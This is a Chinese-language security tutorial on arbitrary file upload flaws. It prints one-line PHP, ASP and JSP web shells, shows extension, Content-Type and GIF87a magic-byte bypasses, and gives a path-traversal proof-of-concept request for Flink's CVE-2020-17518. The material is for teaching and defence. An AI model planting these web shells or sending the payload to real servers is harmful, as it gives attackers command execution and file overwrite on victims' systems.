[Day16] Arbitrary File Upload

前言

上班倒数 QQ

正文

概念

不管你是要缴交各种报名资料,申请某公司职位或是各种社交帐号和通讯软件,都会遇到需要上传功能的时候。若是这些服务,没有好好检查用户上传的档案,会发生甚麽事呢?

这种漏洞通常影响很大,可以写入web shell,上传恶意文件让一般用户受到危害,甚至触发拿来触发其他的应用程序漏洞(Buffer Overflow)等等。

例如一个网站设计了一个上传大头贴的功能,但没有对上传的副档名做出限制
这时候使用者只要简单的写一行该网站使用的语言的web shell就可以,例如:

PHP

<?php echo system($_REQUEST['cmd']); ?>

ASP

<% eval request("cmd") %>

JSP

<% Runtime.getRuntime().exec(request.getParameter("cmd")); %>

当然,这可以透过检查副档名的方式,对上传的档案进行限制,所以也衍生出了很多bypass的方式。例如:

  • .php.png
  • .php5
  • .pht
  • .phtml

或是透过读取使用者发来的Content-Type去做判断。例如
Content-Type: image/gif
但由於这本身就等於信任User Request的任何input,因此也是最好绕过的,只要将Content-Type的value写入网站可以接受的类型就可以了

也有一种保护方式是透过检查User的POST Request中的data来进行判断,例如data的开头为:

GIF87a

这可能就会让具有漏洞的网站应用程序将其判断为一张GIF档案,这时在下面再写下Web Shell或是Reverse Shell就可以了。

Case Study

CVE-2020-17518

Flink 引入了一个 REST handler,这允许攻击者将已上传的文件写入本地任意位置的文件中,并且可通过一个恶意修改的 HTTP header将这些文件写入到Flink 可以访问的任意位置。

POC

POST /jars/upload HTTP/1.1
Host: example.com
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryoZ8meKnrrso89R6Y
Content-Length: 201

------WebKitFormBoundaryo
Content-Disposition: form-data; name="jarfile"; filename="../../../../../../tmp/tmp.txt"
Content-Type: text/plain
GET IT
------WebKitFormBoundary--

也可以利用上面的方法,覆盖已经存在的文件


<<:  Day16 熟悉又陌生的 malloc()

>>:  Day 28 | 很像 Vue 的 AlpineJS(三): x-model

网路对等连线

Peering Connection 继前两天提到的VPC,这边就不得不提到VPC网路对等连线(Pe...

大共享时代系列_009_共享农场

有没有想过除了从菜市场、超级市场买菜以外,试着跟人在离家不远的农场,共享农作、畜牧来获取需求的天然的...

Day21 - _ document 可以做什麽呢?

_document 可以做什麽呢? Next.js 除了 _app.tsx 之外,还提供另外一个 _...

予焦啦!支援 RISC-V 权限指令与暂存器

本节是以 Golang 上游 1a708bcf1d17171056a42ec1597ca8848c...

[Re:PixiJS - Day42] dat.gui 小技巧 .name() / .listen() / .remember(obj)

先前有介绍过 dat.GUI,这篇补充一些先前没提过的部分: [PixiJS - Day-16] 使...